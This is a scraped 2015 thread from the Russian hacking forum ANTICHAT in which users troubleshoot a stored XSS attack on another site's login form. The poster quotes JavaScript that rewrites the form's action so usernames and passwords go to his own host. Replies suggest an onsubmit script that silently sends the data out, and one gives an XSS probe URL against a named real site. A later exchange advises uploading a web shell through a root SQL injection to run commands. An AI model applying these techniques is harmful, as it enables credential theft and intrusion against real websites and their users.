ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
04.08.2015, 13:07
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435
Репутация:
1013
|
|
потому что так работает action. добавьте редирект обратно на форум в вашем base.php
|
|
|
04.08.2015, 14:03
|
|
Guest
Сообщений: n/a
Провел на форуме:
2873
Репутация:
0
|
|
Редирект не помагает,вот как происходит;мой хостинг где лежит base.php "МойХостинг.ru/base.php" их сайт "УязвимыйСайт.ru/forum/forum.php" когда нажимаю ВХОД то ничего не происходит,даже в профиль не заходит,смотрю через чарльз что происходит там,и вижу что вместо "МойХостинг.ru/base.php" становится так" УязвимыйСайт.ru/base.php" и в пакете есть логин и пас,но ничего не происходит(((
вот сам base.php
----------------------------------------------------------------
-------------------------------------------------------------------
Я сначала ввожу скрипт вместо ника а в 1.js лежит document.getElementById('lsform').action=" http://МойСайт.ru/base.php?";
-------------------------------------------------------------------- |
|
|
|
05.08.2015, 12:07
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268
Репутация:
0
|
|
Скрипт, скорее всего, нужно выполнять в document onload. Возможно на странице есть ещё какие-то скрипты.
Правильнее было бы сделать скрипт для события onsubmit, который без двойных заметных редиректов отправлял данные к нам на хост. Если XSS не в login.php, пишут скрипты, которые остаются на странице даже после того, как юзер её покинет переходом по ссылке на другую.
|
|
|
|
05.08.2015, 13:49
|
|
Guest
Сообщений: n/a
Провел на форуме:
2873
Репутация:
0
|
|
Я для этой формы скрипт подключаю,есть еще js на их сайте,выглядит так
А в нем вот это
Код:
Code:
function lsSubmit(op) {
var op = !op ? 0 : op;
if(op) {
$('lsform').cookietime.value = 2592000;
}
if($('ls_username').value == '' || $('ls_password').value == '') {
showWindow('login', 'member.php?mod=logging&action=login' + (op ? '&cookietime=1' : ''));
} else {
ajaxpost('lsform', 'return_ls', 'return_ls');
}
return false;
}
function errorhandle_ls(str, param) {
if(!param['type']) {
showError(str);
}
}
Еще к сылке добавляется inajax, вот так /base.php?&inajax
И уязвимость Активная,и находится где форма авторизации |
|
|
|
05.08.2015, 20:48
|
|
Guest
Сообщений: n/a
Провел на форуме:
1338
Репутация:
0
|
|
|
|
|
|
06.08.2015, 22:43
|
|
Новичок
Регистрация: 08.04.2010
Сообщений: 1
Провел на форуме:
70640
Репутация:
0
|
|
Ну там же написано.
Код:
Code:
http://www.rostof.ru/article.php?chapter=&id=">alert()
|
|
|
|
07.08.2015, 00:00
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268
Репутация:
0
|
|
Вот он - корень всех зол.
|
|
|
|
07.08.2015, 00:09
|
|
Guest
Сообщений: n/a
Провел на форуме:
238786
Репутация:
40
|
|
Здравствуйте. заранее простите за не корректную формулировку вопроса. Имею sql инъекцию, права рут, ОС виндус, как выполнить команду cmd?
|
|
|
|
07.08.2015, 00:19
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
Сообщение от BabaDook
BabaDook said:
↑
Здравствуйте. заранее простите за не корректную формулировку вопроса. Имею sql инъекцию, права рут, ОС виндус, как выполнить команду cmd? Заливаите шелл и если нужные функции в пхп не отключены то через консоль выполняите нужные вам команды
|
|
|
|
07.08.2015, 11:20
|
|
Guest
Сообщений: n/a
Провел на форуме:
238786
Репутация:
40
|
|
Сообщение от winstrool
winstrool said:
↑
Заливаите шелл и если нужные функции в пхп не отключены то через консоль выполняите нужные вам команды шел залить можно. Но мне интересно именно это. как через sqlmap делать я более мение знаю, а вот как ручками не знаю вообще. Надо привыкать в полевым условиям, когда только я и сайт, а между нами браузер.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
